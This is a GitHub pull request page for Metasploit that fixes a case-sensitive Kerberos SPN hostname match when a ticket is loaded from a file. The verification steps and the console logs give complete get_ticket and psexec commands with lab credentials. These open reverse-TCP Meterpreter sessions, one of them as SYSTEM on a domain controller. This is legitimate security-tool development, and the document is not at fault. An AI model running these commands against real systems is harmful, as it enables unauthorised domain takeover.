Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kerberos ticket lookup fix #19835

Merged
merged 1 commit into from
Jan 28, 2025

Conversation

cdelafuente-r7
Copy link
Contributor

This PR fixes an issue in the lookup logic when providing a Kerberos ticket as a file. The comparison of the SPN hostname was done case sensitive, which prevents the ticket to be used if the user sets the *::rhostname option with a different case than the one stored in the ticket.

Verification

First, generate a service ticket using uppercase SPN hostname for the CIFS service.

  • Start msfconsole
  • use admin/kerberos/get_ticket
  • run action=GET_TGS rhost=<remote host> username=<username> password=<passord> domain=<FQ domain name> spn=cifs/<HOSTNAME>.<FQ domain name>

Use windows/smb/psexec to verify the ticket is correctly picked up when the smb::rhostname option is set in lowercase.

  • use windows/smb/psexec
  • run lhost=<local host> rhost=<remote host> username=<username> smb::auth=kerberos smb::rhostname=<hostname>.<FQ domain name> domaincontrollerrhost=<DC IP> domain=<FQ domain name> SMB::Krb5Ccname=<path of the service ticket generated before>

Scenarios

Get the Kerberos service ticket with spn=cifs/DC01.newlab.local (uppercase)

msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=Administrator password=123456 domain=newlab.local spn=cifs/DC01.newlab.local
[*] Running module against 192.168.232.110
[+] 192.168.232.110:88 - Received a valid TGT-Response
[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250124142308_default_192.168.232.110_mit.kerberos.cca_740767.bin
[*] 192.168.232.110:88 - Getting TGS for Administrator@newlab.local (SPN: cifs/DC01.newlab.local)
[+] 192.168.232.110:88 - Received a valid TGS-Response
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250124142308_default_192.168.232.110_mit.kerberos.cca_652761.bin
[+] 192.168.232.110:88 - Received a valid delegation TGS-Response
[*] Auxiliary module execution completed

Before this fix

Using smb::rhostname=dc01.newlab.local (lowercase)

msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.110 username=Administrator smb::auth=kerberos smb::rhostname=dc01.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local SMB::Krb5Ccname=/home/n00tmeg/.msf4/loot/20250124142308_default_192.168.232.110_mit.kerberos.cca_652761.bin
[*] Started reverse TCP handler on 192.168.232.3:4444
[*] 192.168.232.110:445 - Connecting to the server...
[*] 192.168.232.110:445 - Authenticating to 192.168.232.110:445|newlab.local as user 'Administrator'...
[-] 192.168.232.110:445 - Exploit failed: Rex::Proto::Kerberos::Model::Error::KerberosError Failed to load a usable credential from ticket file: /home/n00tmeg/.msf4/loot/20250124142308_default_192.168.232.110_mit.kerberos.cca_652761.bin
[*] Exploit completed, but no session was created.

After this fix

Using smb::rhostname=dc01.newlab.local (lowercase)

msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.110 username=Administrator smb::auth=kerberos smb::rhostname=dc01.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local SMB::Krb5Ccname=/home/n00tmeg/.msf4/loot/20250124142308_default_192.168.232.110_mit.kerberos.cca_652761.bin
[*] Started reverse TCP handler on 192.168.232.3:4444
[*] 192.168.232.110:445 - Connecting to the server...
[*] 192.168.232.110:445 - Authenticating to 192.168.232.110:445|newlab.local as user 'Administrator'...
[*] 192.168.232.110:445 - Loaded a credential from ticket file: /home/n00tmeg/.msf4/loot/20250124142308_default_192.168.232.110_mit.kerberos.cca_652761.bin
[*] 192.168.232.110:445 - Selecting PowerShell target
[*] 192.168.232.110:445 - Executing the payload...
[+] 192.168.232.110:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 192.168.232.110
[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.110:59417) at 2025-01-24 14:24:01 +0100

meterpreter >

@jheysel-r7 jheysel-r7 self-assigned this Jan 28, 2025
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the fix @cdelafuente-r7, looks good.

Before

Create ticket (upper case)

msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use admin/kerberos/get_ticket
[*] Using action GET_TGT - view all 3 actions with the show actions command
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=172.16.199.200 username=Administrator password=N0tpassword! domain=kerberos.issue spn=cifs/DC2.KERBEROS.ISSUE
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250128123907_default_172.16.199.200_mit.kerberos.cca_171181.bin
[*] 172.16.199.200:88 - Getting TGS for Administrator@kerberos.issue (SPN: cifs/DC2.KERBEROS.ISSUE)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250128123907_default_172.16.199.200_mit.kerberos.cca_946804.bin
[+] 172.16.199.200:88 - Received a valid delegation TGS-Response
[*] Auxiliary module execution completed

psexec with lowercase domain, Failed to load a useable credential:

msf6 auxiliary(admin/kerberos/get_ticket) > use windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(windows/smb/psexec) > run lhost=172.16.199.1 rhost=172.16.199.200 username=Administrator smb::auth=kerberos smb::rhostname=dc2.kerberos.issue domaincontrollerrhost=172.16.199.200 SMB::Krb5Ccname=/Users/jheysel/.msf4/loot/20250128123907_default_172.16.199.200_mit.kerberos.cca_946804.bin
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.200:445 - Connecting to the server...
[*] 172.16.199.200:445 - Authenticating to 172.16.199.200:445 as user 'Administrator'...
[-] 172.16.199.200:445 - Exploit failed: Rex::Proto::Kerberos::Model::Error::KerberosError Failed to load a usable credential from ticket file: /Users/jheysel/.msf4/loot/20250128123907_default_172.16.199.200_mit.kerberos.cca_946804.bin
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) >

After

Create ticket (upper case)

msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=172.16.199.200 username=Administrator password=N0tpassword! domain=kerberos.issue spn=cifs/DC2.KERBEROS.ISSUE
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250128124341_default_172.16.199.200_mit.kerberos.cca_302550.bin
[*] 172.16.199.200:88 - Getting TGS for Administrator@kerberos.issue (SPN: cifs/DC2.KERBEROS.ISSUE)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250128124342_default_172.16.199.200_mit.kerberos.cca_200626.bin
[+] 172.16.199.200:88 - Received a valid delegation TGS-Response
[*] Auxiliary module execution completed

psexec with lowercase domain, works 🎉

msf6 exploit(windows/smb/psexec) > run lhost=172.16.199.1 rhost=172.16.199.200 username=Administrator smb::auth=kerberos smb::rhostname=dc2.kerberos.issue domaincontrollerrhost=172.16.199.200 domain=kerberos.issue SMB::Krb5Ccname=/Users/jheysel/.msf4/loot/20250128124342_default_172.16.199.200_mit.kerberos.cca_200626.bin
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.200:445 - Connecting to the server...
[*] 172.16.199.200:445 - Authenticating to 172.16.199.200:445|kerberos.issue as user 'Administrator'...
[*] 172.16.199.200:445 - Loaded a credential from ticket file: /Users/jheysel/.msf4/loot/20250128124342_default_172.16.199.200_mit.kerberos.cca_200626.bin
[*] 172.16.199.200:445 - Executing the payload...
[+] 172.16.199.200:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 172.16.199.200
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.200:57237) at 2025-01-28 12:52:28 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC2
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 9
Meterpreter     : x86/windows
meterpreter >

@jheysel-r7
Copy link
Contributor

Release Notes

This fixes an issue in the lookup logic when providing a Kerberos ticket as a file. The comparison of the SPN hostname was done as a case sensitive comparison, which prevented the ticket to be used if the user sets the *::rhostname option with a different case than the one stored in the ticket.

@jheysel-r7 jheysel-r7 merged commit 6232463 into rapid7:master Jan 28, 2025
70 checks passed
@smcintyre-r7 smcintyre-r7 added the rn-fix release notes fix label Jan 31, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug rn-fix release notes fix
Projects
Status: Done
Development

Successfully merging this pull request may close these issues.

3 participants